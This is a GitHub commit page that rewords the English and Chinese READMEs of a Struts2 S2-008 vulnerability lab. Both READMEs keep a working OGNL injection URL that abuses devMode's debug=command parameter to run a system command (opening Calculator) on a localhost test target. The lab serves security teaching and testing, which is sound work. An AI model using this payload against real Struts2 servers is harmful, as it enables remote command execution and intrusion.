Skip to content

Commit

Permalink
improve some expresses
Browse files Browse the repository at this point in the history
  • Loading branch information
phith0n committed Nov 15, 2018
1 parent c82880a commit 5e0e19b
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 2 deletions.
2 changes: 1 addition & 1 deletion struts2/s2-008/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabil

> S2-008 involves multiple vulnerabilities. Cookie interceptor configuration problem can cause OGNL expressions execute, but most web containers (such as Tomcat) have character restrictions for cookie names, some key characters cannot be used. Another point is that if the struts2 turn on `devMode` mode, there are multiple debug interfaces that can directly view object information or execute commands. As Kxlzx(author) mentions, this situation is almost impossible in the real environment. So it becomes It's very useless, but I don't think it's absolute. It's possible to hack a struts2 application that turn on `debug` mode on the server as a backdoor.
> For example, adding the parameter in `devMode`mode `?debug=command&expression=<OGNL EXP>` will directly execute the following OGNL expression and you can execute the command:
For example, adding the parameter `?debug=command&expression=<OGNL EXP>` in `devMode` mode, OGNL expression will be executed directly and you can execute the command:

```
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
Expand Down
2 changes: 1 addition & 1 deletion struts2/s2-008/README.zh-cn.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ docker-compose up -d

> S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
> 例如在 devMode 模式下直接添加参数 ?debug=command&expression=<OGNL EXP> 会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):
例如在 devMode 模式下直接添加参数`?debug=command&expression=<OGNL EXP>`会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):

```
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
Expand Down

0 comments on commit 5e0e19b

Please sign in to comment.